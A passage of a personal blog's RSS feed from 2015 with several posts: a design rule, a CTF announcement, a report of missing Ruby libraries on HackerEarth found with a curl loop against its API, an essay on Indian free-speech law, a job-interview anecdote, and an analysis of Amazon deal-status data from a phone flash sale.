<p>I recently got in touch with Morgan (<a href="https://news.ycombinator.com/user?id=msutherl" title="HN profile">mstuherl on HN</a>), and thanked him for his comment. Here’s what he said when I told him I wanted to dub it mstuherl’s rule:</p>

<blockquote>
  <p>Hah! My name’s Morgan, so you can call it Morgan’s Rule if you like, but it comes from Bill, so Buxton’s rule would be more appropriate. His book Sketching User Experience contains yet more wisdom!</p>
</blockquote>

<p>So thats what I’m calling it:</p>

<div>
<center>
<h3>
  BUXTON'S RULE
  <br />
  Produce at least 3 alternatives for every design decisions.
</h3>
</center>
</div>

<h2 id="further-reading">Further Reading</h2>

<ul>
  <li><a href="http://www.billbuxton.com/iteration.html">Iteration in the Design of the Human-Computer Interface</a> - Bill Buxton</li>
  <li><a href="http://www.amazon.com/Sketching-User-Experiences-Interactive-Technologies/dp/0123740371">Sketching User Experiences</a> by Bill Buxton</li>
  <li><a href="http://www.sensible.com/dmmt.html">Don’t Make Me Think</a> by Steve Krug (My first recommendation to every software dev/designer)</li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[scytheCTF and Updates]]></title>
            <link>https://captnemo.in/blog/2015/02/27/scythe-ctf-updates/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/02/27/scythe-ctf-updates/</guid>
            <pubDate>Fri, 27 Feb 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[February has been an interesting month for me. I haven’t been programming a lot, but have definitely been writing a lot. I have got a few more upcoming projects as well, which I’d love to announce soon.
We recently held a short 8-hour CTF (scytheCTF) on Backdoor. I made two challenges for the CTF:
SHITTY-OTP
LOST-FOUND
Both of these problems were rush jobs because of several reasons:
We didn’t have much time to set the problems.
We didn’t expect much participation in scytheCTF.
scytheCTF was a test CTF, just to figure out any issues with the internet launch of Backdoor.
scythe is also supposed to be beginner friendly, unlike our annual BackdoorCTF, which will include much harder problems.
I had a lot of fun with @kandoiabhi in setting the problems. It was also great seeing @DefConUA participate in such a small-scale contest.
Other than scythe, we recently had our annual SDSLabs trip to Rishikesh, which I enjoyed a lot. I also wrote a small post on my work setup.]]></description>
            <content:encoded><![CDATA[<p>February has been an interesting month for me. I haven’t been programming a lot, but have definitely been writing a lot. I have got a few more upcoming projects as well, which I’d love to announce soon.</p>

<p>We recently held a short 8-hour CTF (scytheCTF) on Backdoor. I made two challenges for the CTF:</p>

<ul>
  <li><a href="https://backdoor.sdslabs.co/challenges/SHITTY-OTP">SHITTY-OTP</a></li>
  <li><a href="https://backdoor.sdslabs.co/challenges/LOST-FOUND">LOST-FOUND</a></li>
</ul>

<p>Both of these problems were rush jobs because of several reasons:</p>

<ol>
  <li>We didn’t have much time to set the problems.</li>
  <li>We didn’t expect much participation in scytheCTF.</li>
  <li>scytheCTF was a test CTF, just to figure out any issues with the internet launch of Backdoor.</li>
  <li>scythe is also supposed to be beginner friendly, unlike our annual BackdoorCTF, which will include much harder problems.</li>
</ol>

<p>I had a lot of fun with <a href="https://twitter.com/kandoiabhi">@kandoiabhi</a> in setting the problems. It was also great seeing <a href="https://twitter.com/DefConUA">@DefConUA</a> participate in such a small-scale contest.</p>

<p>Other than scythe, we recently had our annual SDSLabs trip to Rishikesh, which I enjoyed a lot. I also wrote a small post on <a href="https://captnemo.in/setup/">my work setup</a>.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[How I found a bug in HackerEarth]]></title>
            <link>https://captnemo.in/blog/2015/02/12/hackerearth-bug/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/02/12/hackerearth-bug/</guid>
            <pubDate>Thu, 12 Feb 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[Source
I am not a competitive programmer. I love programming, but more so I love building things. As a result, I rarely participate in coding contests. Even when I do, I try to use languages like Ruby and Python just to see if I can do it my way, so to speak.
While trying a contest in Ruby, I realized that I could not use the ruby prime library. This is a standard library in Ruby for a long while, and HackerEarth platform runs on 2.1.1, which is quite new.
I reported this as a bug to HackerEarth in September ‘14. A quick reply from HE made me realize that they weren’t understanding the issue:
Modules like mathn or erb are part of standard library. They are available.
Try using, require ‘erb’require ‘mathn’ in code editor.
I decided to do some tests and check all standard libraries for their availability. For those unfamiliar with Ruby, this is how you load a standard library in ruby:
require 'prime'
Using the HackerEarth API, I was able to write some quick code that tested all expected libraries:

while read lib; do
  SOURCE="require%20'$lib'"
  echo "Testing $lib"
  curl -s -d "client_secret=API_SECRET&lang=RUBY&async=0&source=$SOURCE" http://api.hackerearth.com/code/run/ > $lib.json
done < libs.txt


Here libs.txt contains a list of all standard libraries. The above code is in bash, and makes use of curl. Parsing the results, I replied with the following:
Requiring the following libraries raises a missing error:
coverage - RE
HackerEarth admitted the issue (I posted code to replicate on github), and have since worked on it. I just ran the tests again, and only the following libraries are unavailable now:
curses - RE
A few of these are understandable (win32 since HE platform runs on Linux, and tk, which is a graphical library). A few of these are unavailable in Ruby 2.1.1 (I copied the list of libs from the 2.1.3 docs).
Kudos to HackerEarth for fixing a bug that very few of their users would have faced. All the source code for this post can be found at github.
Note: This article was copied from HackerEarth because they are shutting down their notes platform.]]></description>
            <content:encoded><![CDATA[<p><em><a href="https://www.hackerearth.com/notes/how-i-found-a-bug-in-hackerearth/" title="Permalink to How I found a bug in HackerEarth">Source</a></em></p>

<p>I am not a competitive programmer. I love programming, but more so I love building things. As a result, I rarely participate in coding contests. Even when I do, I try to use languages like Ruby and Python just to see if I can do it <em>my way</em>, so to speak.</p>

<p>While trying a contest in Ruby, I realized that I could not use the ruby <code class="language-plaintext highlighter-rouge">prime</code> library. This is a standard library in Ruby for a long while, and HackerEarth platform runs on 2.1.1, which is quite new.</p>

<p>I reported this as a bug to HackerEarth in September ‘14. A quick reply from HE made me realize that they weren’t understanding the issue:</p>

<blockquote>
  <p>Modules like mathn or erb are part of standard library. They are available.</p>

  <p>Try using, require ‘erb’require ‘mathn’ in code editor.<br />
However 3rd party libraries are not available.﻿</p>
</blockquote>

<p>I decided to do some tests and check <em>all standard libraries</em> for their availability. For those unfamiliar with Ruby, this is how you load a standard library in ruby:</p>

<p><code class="language-plaintext highlighter-rouge">require 'prime'</code></p>

<p>Using the HackerEarth API, I was able to write some quick code that tested all expected libraries:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>while read lib; do
  SOURCE="require%20'$lib'"
  echo "Testing $lib"
  curl -s -d "client_secret=API_SECRET&amp;lang=RUBY&amp;async=0&amp;source=$SOURCE" http://api.hackerearth.com/code/run/ &gt; $lib.json
done &lt; libs.txt
</code></pre></div></div>

<p>Here <code class="language-plaintext highlighter-rouge">libs.txt</code> contains a list of all standard libraries. The above code is in bash, and makes use of curl. Parsing the results, I replied with the following:</p>

<blockquote>
  <p>Requiring the following libraries raises a missing error:</p>

  <p>coverage - RE<br />
extmk - RE<br />
fiddle - RE<br />
io/console - RE<br />
json - RE<br />
minitest - RE<br />
minitest/benchmark - RE<br />
minitest/spec - RE<br />
mkmf - RE<br />
objspace - RE<br />
prime - RE<br />
psych - RE<br />
racc - RE<br />
rake - RE<br />
rdoc - RE<br />
rexml - RE<br />
rinda - RE<br />
ripper - RE<br />
rubygems - RE<br />
tk - RE<br />
win32ole - RE<br />
xmlrpc - RE</p>
</blockquote>

<p>HackerEarth admitted the issue (I posted code to replicate on <a href="https://github.com/captn3m0/ruby-stdlib-test-hackerearth" title="HackerEarth Ruby stdlib Tests">github</a>), and have since worked on it. I just ran the tests again, and only the following libraries are unavailable now:</p>

<blockquote>
  <p>curses - RE<br />
dbm - RE<br />
debug - RE<br />
extmk - RE<br />
gdbm - RE<br />
generator - RE<br />
iconv - RE<br />
racc - RE<br />
readline - RE<br />
rexml - RE<br />
rinda - RE<br />
tk - RE<br />
win32ole - RE</p>
</blockquote>

<p>A few of these are understandable (<code class="language-plaintext highlighter-rouge">win32</code> since HE platform runs on Linux, and <code class="language-plaintext highlighter-rouge">tk</code>, which is a graphical library). A few of these are unavailable in Ruby 2.1.1 (I copied the list of libs from the 2.1.3 docs).</p>

<p>Kudos to HackerEarth for fixing a bug that very few of their users would have faced. All the source code for this post can be found at <a href="https://github.com/captn3m0/ruby-stdlib-test-hackerearth" title="HackerEarth Ruby stdlib Tests">github</a>.</p>

<p><em>Note</em>: This article was copied from HackerEarth because they are shutting down their notes platform.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[I am offended]]></title>
            <link>https://captnemo.in/blog/2015/02/06/i-am-offended/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/02/06/i-am-offended/</guid>
            <pubDate>Fri, 06 Feb 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[To start with, here’s a piece of art that is meant to offend you:

The above is an artwork by MF Hussain. Its was sold as an untitled work by Hussain to a private collector, but was named Bharat Mata later when it was sold in an auction.
Were you offended by looking at it? Maybe.
Does it look vulgar and offensive to you? Perhaps.
What should you do as a result?
CLOSE THE TAB!
Seriously, India. The right thing to do when you are offended is not to lynch a person to death, or to issue a fatwa against singing the national song. The right thing to do is this:

The right to get offended in India is a result of the way our constitution curbs the freedom of speech. However, these restrictions were not in the constitution that was passed when India was made a republic (26 Jan 1950). It was added as the First Amendment (ironic, I know), which passed in June 1951.
In the 18 months that passed between these two events, Indians had the right to absolute freedom of speech. I won’t go into the details of why both Nehru and Patel thought of bringing these restrictions (for the better of India), but needless to say, the reasons are no longer valid.
However, I found a curious piece of irony while researching this:
One of the prime opponents to the First Amendment restrictions was Syama Prasad Mookerjee, a long time RSS activist, founder of the Bharatiya Jana Sangh and widely regarded as the godfather of Hindu Nationalism.
And now today, 64 years later, these restrictions are getting enacted into even more draconian laws. One such law is Section 66A of the Information Technology Act.
Kapil Sibal, former union minister writes about it:
Allowing the government to regulate the internet is a recipe for disaster. Government being what it is, it would use such power to further its own ends.
However, he gives in to the diplomatic reasoning and writes further:
I know where I stand. I am for freedom of expression, but there are no absolutes in life. Limitless freedom contains within it the seeds of conflict. We must eschew conflict and embrace freedom, for peace and harmony.
Note that back in 2012, Kapil Sibbal had spoken in favor of Section 66A, citing it as a tool to protect women online. He seems to have reversed his stance since.
This is what Tushar Mehta, Additional Solicitor General has to say on the necessity of the act:
[…] every institution and every person right from the President can be subjected to criticism and it is people’s fundamental right to free speech and expression but such rights do not cover grossly offensive comments and posts on social networking sites.
AIB recently tested their rights by making a grossly offensive video and posting it on social networking sites. A lot of people were offended. The video was taken down as a result.
Did the people who were offended see the video? Yes, probably on YouTube. But the recordings are still floating around, and are available on torrents very easily.
You see, the internet is a resilient beast. You can’t control it, or bend it to your will. It does not run by your rules, and your sense of sensibility. It has no concept of right or wrong. It just is.
A nation where I am afraid to post critical views of the government or discuss events that might offend someone is not a nation worth living in.
The internet cannot be regulated. You might certainly think of it as possible, but we will always find a way.
If you are offended it is your problem, and frankly lots of things offend lots of people. - Salman Rushdie
I don’t think I will ever see the first amendment repealed in my lifetime. However, I’m gonna try my very best to get the Supreme Court to re-evaluate Section 66A as unconstitional and over-reaching.
If you want to let the government know of your thoughts on the matter, the Assistant Solicitor General (representing the Government in the case) can be reached at tusharmehta64@yahoo.com.
Further Reading
This is a loose list of various references and readings on the topic.
A Story of Censorship: How the Right to Take Offense is Shrinking Free Speech in India - A video seminar on the topic by Anuradha Raman, Outlook Magazine
First Amendment of the Constitution of India
Why Nehru and Sardar Patel curbed freedom of expression in India - A nice summary of the events that lead to the passing of the First Amendment
Bharat Mata a work of art - A ruling by the Supreme Court declaring the topmost image in this post as a work of art, and that no one gets scandalized looking at art.
Restrictions on freedom of speech in India
An excellent piece on abolishing the restrictions on free speech titled Of writers and poets who criticize with their pens (Rajeev Mantri)
A few pieces on the ongoing panel: India Today, Indian Express, Firstpost’s Summary
Thanks to Shashank Mehta and Ravi Kishore for reviewing drafts of this.]]></description>
            <content:encoded><![CDATA[<p>To start with, here’s a piece of art that <em>is meant to offend you</em>:</p>

<p><a href="https://captnemo.in/img/bharatmata.jpg"><img src="https://captnemo.in/img/bharatmata_thumb.jpg" alt="Bharat Mata, by MF Hussain" /></a></p>

<p>The above is an artwork by MF Hussain. Its was sold as an untitled work by Hussain to a private collector, but was named <em>Bharat Mata</em> later when it was sold in an auction.</p>

<p>Were you offended by looking at it? Maybe.
Does it look vulgar and offensive to you? Perhaps.
What should you do as a result?</p>

<p>CLOSE THE TAB!</p>

<p>Seriously, India. The right thing to do when you are offended is not to <a href="http://indianexpress.com/article/india/politics/muslim-techie-beaten-to-death-in-pune-7-men-of-hindu-outfit-held/"><em>lynch a person to death</em></a>, or to <a href="http://timesofindia.indiatimes.com/india/Fatwa-issued-against-Vande-Mataram/articleshow/5191847.cms">issue a fatwa against singing the national song</a>. The right thing to do is this:</p>

<p><img src="https://boardgametime.files.wordpress.com/2012/04/table_flip.jpg" alt="Flip the table" /></p>

<p>The right to get offended in India is a result of the way our constitution curbs the freedom of speech. However, these restrictions were not in the constitution that was passed when India was made a republic (26 Jan 1950). It was added as the First Amendment (ironic, I know), which passed in June 1951.</p>

<p>In the 18 months that passed between these two events, Indians had the right to absolute freedom of speech. I won’t go into the details of why both Nehru and Patel thought of bringing these restrictions (for the better of India), but needless to say, the reasons are no longer valid.</p>

<p>However, I found a curious piece of irony while researching this:</p>

<p>One of the prime opponents to the First Amendment restrictions was <a href="http://www.wikiwand.com/en/Syama_Prasad_Mukherjee">Syama Prasad Mookerjee</a>, a long time RSS activist, founder of the Bharatiya Jana Sangh and widely regarded as the <a href="http://www.shyamaprasad.org/home.html">godfather of Hindu Nationalism</a>.</p>

<p>And now today, 64 years later, these restrictions are getting enacted into even more draconian laws. One such law is Section 66A of the Information Technology Act.</p>

<p>Kapil Sibal, former union minister <a href="http://indiatoday.intoday.in/story/freedom-internet-online-charlie-hebdo-kapil-sibal/1/416011.html">writes about it</a>:</p>

<blockquote>
  <p>Allowing the government to regulate the internet is a recipe for disaster. Government being what it is, it would use such power to further its own ends.</p>
</blockquote>

<p>However, he gives in to the diplomatic reasoning and writes further:</p>

<blockquote>
  <p>I know where I stand. I am for freedom of expression, but there are no absolutes in life. Limitless freedom contains within it the seeds of conflict. We must eschew conflict and embrace freedom, for peace and harmony.</p>
</blockquote>

<p>Note that back in 2012, Kapil Sibbal had spoken <a href="http://tech.firstpost.com/news-analysis/dear-sibal-here-is-why-section-66a-does-not-protect-women-212326.html">in favor of Section 66A</a>, citing it as a tool to protect women online. He seems to have reversed his stance since.</p>

<p>This is what Tushar Mehta, Additional Solicitor General has to say on the necessity of the act:</p>

<blockquote>
  <p>[…] every institution and every person right from the President can be subjected to criticism and it is people’s fundamental right to free speech and expression but such rights do not cover grossly offensive comments and posts on social networking sites.</p>
</blockquote>

<p>AIB recently tested their rights by making a grossly offensive video and posting it on social networking sites. A lot of people were offended. The video was taken down as a result.</p>

<p>Did the people who were offended see the video? Yes, probably on YouTube. But the recordings are still floating around, and are available on torrents very easily.</p>

<p>You see, the internet is a resilient beast. You can’t control it, or bend it to your will. It does not run by your rules, and your sense of sensibility. It has no concept of right or wrong. It just is.</p>

<p>A nation where I am afraid to post critical views of the government or discuss events that might offend someone is not a nation worth living in.</p>

<p>The internet cannot be regulated. You might certainly think of it as possible, but <a href="https://www.eff.org/" title="Electronic Frontier Foundation">we</a> <a href="https://wikileaks.org/" title="Wikileaks">will</a> <a href="https://www.torproject.org/" title="The Tor Project">always</a> <a href="https://thepiratebay.org/" title="The Pirate Bay">find</a> a way.</p>

<blockquote>
  <p>If you are offended it is your problem, and frankly lots of things offend lots of people. - <a href="http://www.goodreads.com/quotes/739464-nobody-has-the-right-to-not-be-offended-that-right">Salman Rushdie</a></p>
</blockquote>

<p>I don’t think I will ever see the first amendment repealed in my lifetime. However, I’m gonna try my very best to get the Supreme Court to re-evaluate Section 66A as unconstitional and over-reaching.</p>

<p>If you want to let the government know of your thoughts on the matter, the Assistant Solicitor General (representing the Government in the case) can be reached at <a href="mailto:tusharmehta64@yahoo.com">tusharmehta64@yahoo.com</a>.</p>

<h2 id="further-reading">Further Reading</h2>

<p>This is a loose list of various references and readings on the topic.</p>

<ul>
  <li><a href="http://vimeo.com/92778395">A Story of Censorship: How the Right to Take Offense is Shrinking Free Speech in India</a> - A video seminar on the topic by Anuradha Raman, Outlook Magazine</li>
  <li><a href="https://en.wikipedia.org/wiki/First_Amendment_of_the_Constitution_of_India">First Amendment</a> of the Constitution of India</li>
  <li><a href="http://scroll.in/article/700020/Why-Nehru-and-Sardar-Patel-curbed-freedom-of-expression-in-India">Why Nehru and Sardar Patel curbed freedom of expression in India</a> - A nice summary of the events that lead to the passing of the First Amendment</li>
  <li><a href="http://timesofindia.indiatimes.com/india/Bharat-Mata-a-work-of-art-SC/articleshow/3459623.cms">Bharat Mata a work of art</a> - A ruling by the Supreme Court declaring the topmost image in this post as a work of art, and that <em>no one gets scandalized looking at art</em>.</li>
  <li><a href="http://www.wikiwand.com/en/Freedom_of_expression_in_India">Restrictions on freedom of speech in India</a></li>
  <li><a href="http://www.livemint.com/Opinion/hZBwopyF7MD10C8QHODZEN/Of-writers-and-poets-who-criticize-with-their-pens.html">An excellent piece on abolishing the restrictions on free speech</a> titled <em>Of writers and poets who criticize with their pens</em> (Rajeev Mantri)</li>
  <li>A few pieces on the ongoing panel: <a href="http://indiatoday.intoday.in/story/objectionable-social-media-posts-cyberspace-modi-government-supreme-court-facebook-twitter-freedom-of-expression/1/416800.html">India Today</a>, <a href="http://indianexpress.com/article/india/india-others/sc-on-it-act-will-examine-section-66a-as-it-stands/">Indian Express</a>, <a href="http://www.firstpost.com/living/who-defines-grossly-offensive-sc-raises-red-flags-over-draconian-sec-66a-of-it-act-2079081.html">Firstpost’s Summary</a></li>
</ul>

<hr />

<p>Thanks to <a href="https://shashankmehta.in/">Shashank Mehta</a> and <a href="https://rkravi.com/">Ravi Kishore</a> for reviewing drafts of this.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Are you a fighter pilot?]]></title>
            <link>https://captnemo.in/blog/2015/01/28/are-you-a-fighter-pilot/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/01/28/are-you-a-fighter-pilot/</guid>
            <pubDate>Wed, 28 Jan 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[As part of a pre job interview for a position as a security consultant, I was asked this question. The interviewer expanded the question further as :
Given the choice between a luxurious journey in a passenger jetliner (flying business class) and a thrilling trip as a fighter pilot, which one would you choose?
My immediate reply was (without a single doubt): “I’ll take the fighter jet, thanks.”
Then the interviewer tried to dissuade me from my choice: “Its not as glamorous as it sounds. Its a terrible job flying a jet plane. There are lots of complications, you are literally defying death, and even the pay isn’t that good.”. He then spent quite some time explaining the luxuries and comforts that we take for granted in a passenger jet, and those that aren’t available in a fighter jet. “You can’t even piss properly”, he told me. “And there’s free booze on the Boeing.”
Me (after some deliberation and moment of self-doubt): I’d ultimately like to have my own private jet, but I’m willing to strap myself to a 300 million dollar plane just trying to get there. I’d take that over a passenger jet any day.
For those who didn’t get the analogy: He was trying to convince me to join a high risk job, where I’d be working late nights doing what I love. But it also means giving up tons of luxuries and comforts that I could get at other companies.
I’m sure that I’m the fighter jet kind of person, I’m just having difficulty deciding what jet I wanna fly. If you have an opening for a Full Stack Developer/Security Consultant, shoot me a mail.]]></description>
            <content:encoded><![CDATA[<p>As part of a pre job interview for a position as a security consultant, I was asked this question. The interviewer expanded the question further as :</p>

<blockquote>
  <p>Given the choice between a luxurious journey in a passenger jetliner (flying business class) and a thrilling trip as a fighter pilot, which one would you choose?</p>
</blockquote>

<p>My immediate reply was (without a single doubt): “I’ll take the fighter jet, thanks.”</p>

<p>Then the interviewer tried to dissuade me from my choice: “Its not as glamorous as it sounds. Its a terrible job flying a jet plane. There are lots of complications, you are literally defying death, and even the pay isn’t that good.”. He then spent quite some time explaining the luxuries and comforts that we take for granted in a passenger jet, and those that aren’t available in a fighter jet. “You can’t even piss properly”, he told me. “And there’s free booze on the Boeing.”</p>

<p>Me (after some deliberation and moment of self-doubt): I’d ultimately like to have my own private jet, but I’m willing to strap myself to a 300 million dollar plane just trying to get there. I’d take that over a passenger jet any day.</p>

<p>For those who didn’t get the analogy: He was trying to convince me to join a high risk job, where I’d be working late nights doing what I love. But it also means giving up tons of luxuries and comforts that I could get at other companies.</p>

<p>I’m sure that I’m the fighter jet kind of person, I’m just having difficulty deciding what jet I wanna fly. If you have an opening for a Full Stack Developer/Security Consultant, shoot me a mail.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Yu were mislead]]></title>
            <link>https://captnemo.in/blog/2015/01/13/yu-yureka/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/01/13/yu-yureka/</guid>
            <pubDate>Tue, 13 Jan 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[I was eagerly awaiting the release of Yu Yureka, which has been widely hailed as a great budget phone by most reviews. I won’t go into the details of the phone, but rather the flash sale that took place on 13th Jan ‘15 (on amazon.in). Far from being a well-managed affair, the website was plagued with issues, and went down for everyone a couple of minutes before the sale.
Still, a few lucky people were able to buy the phone (sadly, I wasn’t one of them). Micromax said that they had to close registrations for the sale early and had around 3 lakh people lined up for the sale.
This is how the yuplaygod.com homepage looks right now:

Clearly, they had 10k units for sale, and one in every 300 people should have bought it, right? Wrong!
It seems Yu (the brand new subsidiary of Micromax) is not above lying. There were only 3000 devices on sale today, out of which only 2657 were claimed, after which the sale was shut down.
How do I know this? The way deals work on amazon is once you are on a deal page, the client keeps checking the deal status every few seconds so as to let you know as soon as its status changes. This deal status response does not only include the deal status code (say EXPIRED/SOLDOUT/AVAILABLE), but also includes the deal’s nitty details.
These details include:
totalCouponCount: 3000
claimedCouponCount: 2657
percentClaimed: 88
type: LIGHTNING_DEAL
title: Yureka
dealPrice: 8999
currentPrice: 12999
I’m not sure why Yu would try such a tactic (hype the device at low cost, overstate sales figures and then switch to a higher price), but it sure does not sound nice if you are one of the 3 lakh people who lined up to buy the device.
References
Since its my word against amazon, here’s a simple way to confirm the deal details for yourself:
Visit http://hurl.it/ (I don’t own this site)
Change the request method to “POST” from “GET”
Enter http://www.amazon.in/xa/dealcontent/v2/GetDealStatus where it says yourapihere.com
Click on “+ Add Body Button”
Paste {"requestMetadata":{"marketplaceID":"A21TJRUUN4KGV","clientID":"goldbox"},"dealTargets":[{"dealID":"ea9fef51","itemIDs":null}]} into the box that appears
Click on “Launch Request”
Scroll to the bottom to see the dealStatus
As an alternative, here is a permalink to the request.
Update: If you try to replicate the above steps, you will notice that the deal response is now blank. My guess is that the deal was deleted from the servers. However, the permalinks above should still work. I’m still waiting for any official word from either Yu/Amazon.
Here’s a better (edited) photo that Yu might wanna use:

Thanks to Shashank Mehta for the title suggestion.]]></description>
            <content:encoded><![CDATA[<p>I was eagerly awaiting the release of Yu Yureka, which has been widely hailed as a great budget phone by most reviews. I won’t go into the details of the phone, but rather the flash sale that took place on 13th Jan ‘15 (on amazon.in). Far from being a well-managed affair, the website was plagued with issues, and went down for everyone a couple of minutes before the sale.</p>

<p>Still, a few lucky people were able to buy the phone (sadly, I wasn’t one of them). Micromax said that they had to close registrations for the sale early and had around 3 lakh people lined up for the sale.</p>

<p>This is how the <a href="https://web.archive.org/web/20150122020319/http://yuplaygod.com/">yuplaygod.com</a> homepage looks right now:</p>

<p><img src="https://captnemo.in/img/yuplaygod.jpg" alt="YuPlayGod.com Home Page" /></p>

<p>Clearly, they had 10k units for sale, and one in every 300 people should have bought it, right? Wrong!</p>

<p>It seems Yu (the brand new subsidiary of Micromax) is not above lying. There were <em>only 3000 devices on sale today, out of which only 2657 were claimed</em>, after which the sale was shut down.</p>

<p>How do I know this? The way deals work on amazon is once you are on a deal page, the client keeps checking the deal status every few seconds so as to let you know as soon as its status changes. This deal status response does not only include the deal status code (say EXPIRED/SOLDOUT/AVAILABLE), but also includes the deal’s nitty details.</p>

<p>These details include:</p>

<ul>
  <li>totalCouponCount: <strong>3000</strong></li>
  <li>claimedCouponCount: <strong>2657</strong></li>
  <li>percentClaimed: <strong>88</strong></li>
  <li>type: <code class="language-plaintext highlighter-rouge">LIGHTNING_DEAL</code></li>
  <li>title: Yureka</li>
  <li>dealPrice: 8999</li>
  <li>currentPrice: 12999</li>
</ul>

<p>I’m not sure why Yu would try such a tactic (hype the device at low cost, overstate sales figures and then switch to a higher price), but it sure does not sound nice if you are one of the 3 lakh people who lined up to buy the device.</p>

<h2 id="references">References</h2>

<p>Since its my word against amazon, here’s a simple way to confirm the deal details for yourself:</p>

<ol>
  <li>Visit <a href="http://hurl.it/">http://hurl.it/</a> (I don’t own this site)</li>
  <li>Change the request method to “POST” from “GET”</li>
  <li>Enter <code class="language-plaintext highlighter-rouge">http://www.amazon.in/xa/dealcontent/v2/GetDealStatus</code> where it says <code class="language-plaintext highlighter-rouge">yourapihere.com</code></li>
  <li>Click on “+ Add Body Button”</li>
  <li>Paste <code class="language-plaintext highlighter-rouge">{"requestMetadata":{"marketplaceID":"A21TJRUUN4KGV","clientID":"goldbox"},"dealTargets":[{"dealID":"ea9fef51","itemIDs":null}]}</code> into the box that appears</li>
  <li>Click on “Launch Request”</li>
  <li>Scroll to the bottom to see the dealStatus</li>
</ol>

<p>As an alternative, <a href="https://gist.github.com/captn3m0/52fca6662e453c60a6b9">here is a permalink</a> to the request.</p>

<p><strong>Update</strong>: If you try to replicate the above steps, you will notice that the deal response is now blank. My guess is that the deal was deleted from the servers. However, the permalinks above should still work. I’m still waiting for any official word from either Yu/Amazon.</p>

<p>Here’s a better (edited) photo that Yu might wanna use:</p>

<p><img src="https://captnemo.in/img/yuplaygod_edited.jpg" alt="Yu don't play God" /></p>

<p>Thanks to <a href="http://shashankmehta.in/">Shashank Mehta</a> for the title suggestion.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Thank You Pat]]></title>
            <link>https://captnemo.in/blog/2015/01/03/thank-you-pat/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/01/03/thank-you-pat/</guid>
            <pubDate>Sat, 03 Jan 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[I’m a lazy reader. I’ll often start books and leave them halfway, often juggling 3-4 books at the same time. I read in sprints, often spending a few days just finishing lots of books followed by reading nothing for the next few weeks, perhaps. But that doesn’t mean I don’t appreciate good books. This is the story of how I found my favorite writer, and how I discovered the wonderful books that I enjoy so deeply.
I don’t write a journal regularly, but if I did, one of my favorite things to do with it is to figure out the little things that matter; to separate out the strands and understand the connections and the motivations behind where I am today
It is our choices…that show what we truly are, far more than our abilities.
Albus Dumbledore
What I love to do is figure out those tiny choices, and the reasoning behind them that led me to today.
I read Patrick Rothfuss’s “Name of the Wind” a long time back. It was an amazing book, which I found on a site called bestfantasybooks.com. In my defense, I was an avid Harry Potter fan at the time, looking for similar books, and I’d decided that reading the best fantasy would be good preparation before I could write my own.
As it so happens, “Name of the Wind” was a superb book. The kind that made me squirm in delight when I saw that the sequel was already out. So I did what any self-respecting book-lover would do: read it in a single stretch, screwing up my exams in the process. I didn’t sleep much for those few days (its a pretty long book), but I enjoyed every bit of it.
I started following Pat’s (hilarious) blog, where he often posted tidbits of his life, and came across his review of “The Alloy of Law” by Brandon Sanderson:
…
My last point is that Sanderson has now been added to a very short list of authors. Specifically, the list authors whom I wish to kill so that I might eat their livers and thereby gain their power.
Any author that Patrick wanted to kill sounded like a great one to read, so I started “The Alloy of Law”. I finished the book in a few short hours. Its paced excellently, and the action keeps on coming. I’d never really read much urban fantasy before, and despite me never having read Mistborn (Alloy is a sequel to the Mistborn trilogy) I was sucked in.
And here I am, counting down the next few days, waiting for the release of Firefight, Sanderson’s next book.
So, thank you Pat. Thanks for introducing me to my favorite writer. Thank you for writing those wonderful books, and keep on reviewing all that you love (I’m reading “Through the Woods” next).
If you are looking for a nice fat book to read next, I heartily recommend “The Name of the Wind” and “The Way of Kings”.]]></description>
            <content:encoded><![CDATA[<p>I’m a lazy reader. I’ll often start books and leave them halfway, often juggling 3-4 books at the same time. I read in sprints, often spending a few days just finishing lots of books followed by reading nothing for the next few weeks, perhaps. But that doesn’t mean I don’t appreciate good books. This is the story of how I found my favorite writer, and how I discovered the wonderful books that I enjoy so deeply.</p>

<p>I don’t write a journal regularly, but if I did, one of my favorite things to do with it is to figure out the little things that matter; to separate out the strands and understand the connections and the motivations behind where I am today</p>

<blockquote>
  <p>It is our choices…that show what we truly are, far more than our abilities.</p>
  <ul>
    <li>Albus Dumbledore</li>
  </ul>
</blockquote>

<p>What I love to do is figure out those tiny choices, and the <em>reasoning</em> behind them that led me to today.</p>

<p>I read Patrick Rothfuss’s <a href="https://www.goodreads.com/book/show/186074.The_Name_of_the_Wind" title="The Name of the Wind, by Patrick Rothfuss">“Name of the Wind”</a> a long time back. It was an amazing book, which I found on a site called <a href="http://bestfantasybooks.com/">bestfantasybooks.com</a>. In my defense, I was an avid Harry Potter fan at the time, looking for similar books, and I’d decided that reading the best fantasy would be good preparation before I could write my own.</p>

<p>As it so happens, “Name of the Wind” was a superb book. The kind that made me squirm in delight when I saw that the sequel was already out. So I did what any self-respecting book-lover would do: read it in a single stretch, screwing up my exams in the process. I didn’t sleep much for those few days (its a pretty long book), but I enjoyed every bit of it.</p>

<p>I started following Pat’s (hilarious) <a href="http://blog.patrickrothfuss.com/" title="Pat's blog">blog</a>, where he often posted tidbits of his life, and came across <a href="https://www.goodreads.com/review/show/315662446" title="Patrick's review of The Alloy of Law">his review</a> of “The Alloy of Law” by Brandon Sanderson:</p>

<blockquote>
  <p>…<br />
My last point is that Sanderson has now been added to a very short list of authors. Specifically, the list authors whom I wish to kill so that I might eat their livers and thereby gain their power.</p>
</blockquote>

